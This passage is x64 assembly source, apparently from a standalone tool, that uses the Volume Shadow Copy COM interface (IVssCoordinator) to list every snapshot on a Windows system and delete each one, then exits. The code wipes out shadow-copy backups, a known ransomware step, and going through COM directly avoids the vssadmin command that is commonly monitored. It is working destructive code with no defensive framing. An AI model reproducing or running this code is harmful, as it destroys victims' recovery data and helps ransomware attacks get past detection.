mov qword ptr [rsp + 20h ], r10 ;
call CoCreateInstance ; Call CoCreateInstance
test eax, eax ;
jnz _epilogue ;
; Disable SEH
mov rcx, qword ptr [GlobalOptions] ; This
xor edx, edx ; dwProperty
inc edx ;
xor r8, r8 ; dwValue
inc r8 ;
mov rax, qword ptr [rcx] ; Address of GlobalOptions::Set
call [rax].GlobalOptionsVtbl.Set ; Call GlobalOptions::Set
test eax, eax ;
jnz _epilogue ;
; Cleanup
mov rax, qword ptr [GlobalOptions] ; Address of GlobalOptions::Release
mov rax, qword ptr [rax] ;
call [rax].GlobalOptionsVtbl.Release ; Call GlobalOptions::Release
;----------------------------------------------------------------------------------------------------------------------
; 6. Get a valid pointer to a IVssCoordinator COM interface
;----------------------------------------------------------------------------------------------------------------------
lea rcx, CLSID_VssCoordinator ; rclsid
xor edx, edx ; pUnkOuter
xor r8, r8 ; dwClsContext (CLSCTX_REMOTE_SERVER | CLSCTX_LOCAL_SERVER)
mov r8b, 14h ;
lea r9, IID_VssCoordinator ; riid
lea r10, [VssCoordinator] ; ppv
mov qword ptr [rsp + 20h ], r10 ;
call CoCreateInstance ; Call CoCreateInstance
test eax, eax ;
jnz _epilogue ;
;----------------------------------------------------------------------------------------------------------------------
; 7. Set the context
;----------------------------------------------------------------------------------------------------------------------
mov rcx, qword ptr [VssCoordinator] ; This
mov edx, 0FFFFFFFFh ; p1
mov rax, qword ptr [rcx] ; Address of VssCoordinator::SetContext
call [rax].VssCoordinatorVtbl.SetContext ; Call VssCoordinator::SetContext
test eax, eax ;
jnz _epilogue ;
;----------------------------------------------------------------------------------------------------------------------
; 8. Get valid pointer to a IVssEnumObject COM interface
;----------------------------------------------------------------------------------------------------------------------
mov rcx, qword ptr [VssCoordinator] ; This
lea rdx, CLSID_NULL ; p0
xor r8, r8 ; p1
inc r8 ;
xor r9, r9 ; p2
add r9, 03h ;
lea rax, VssEnumObject ; p3
mov qword ptr [rsp + 20h], rax ;
mov rax, qword ptr [rcx] ; Address of VssCoordinator::Query
call [rax].VssCoordinatorVtbl.Query ; Call VssCoordinator::Query
cmp qword ptr [VssEnumObject], 00h ;
jz _epilogue ;
;----------------------------------------------------------------------------------------------------------------------
; 9. Parse each entry one by one
;----------------------------------------------------------------------------------------------------------------------
_vss_object_prop_loop:
mov rcx, qword ptr [VssEnumObject] ; This
mov rdx, 01h ; celt
mov r8, rsp ; rgelt
add r8, 50h ;
mov r9, r8 ; pceltFetched
add r8, 08h ;
mov rax, qword ptr [rcx] ; Address of VssEnumObject::Next
call [rax].VssEnumObjectVtbl.Next ; Call VssEnumObject::Next
; Ensure that a structure has been returned
cmp al, 01 ; This points to object type
je _vss_object_prop_end ;
cmp byte ptr [rsp + 50h], 01h ;
jne _vss_object_prop_end ;
; Check the type of the object returned
cmp [rsp + 58h]._VSS_OBJECT_PROP.ObjType, 03h ; Check the object type
jne _vss_object_prop_loop ;
; Delete the object
mov rcx, qword ptr [VssCoordinator] ; This
lea rdx, [rsp + 58h]._VSS_OBJECT_PROP.Snap.m_SnapshotId ; Snapshot GUID to delete
mov r8, 03h ; Object type to delte
mov r9, 01h ; Number of objects to delete
mov r11, rsp ;
add r11, 58h + sizeof _VSS_OBJECT_PROP ;
mov qword ptr [rsp + 20h], r11 ; Out INT
add r11, 08h ; Out GUID
mov qword ptr [rsp + 28h], r11 ;
mov rax, qword ptr [rcx] ; Address of VssCoordinator::DeleteSnapshots
call [rax].VssCoordinatorVtbl.DeleteSnapshots ; Call VssCoordinator::DeleteSnapshots
jmp _vss_object_prop_loop ;
;----------------------------------------------------------------------------------------------------------------------
; A. Uninitialise COM context and exit.
;----------------------------------------------------------------------------------------------------------------------
_vss_object_prop_end:
call CoUninitialize ; Call CoUninitialize
_epilogue:
mov rsp, rbp ;
pop rbp ;
_exit:
mov rcx, 00h ;
call ExitProcess ; Exit process
xaoc ENDP
; End of file.
_TEXT$00 ENDS
END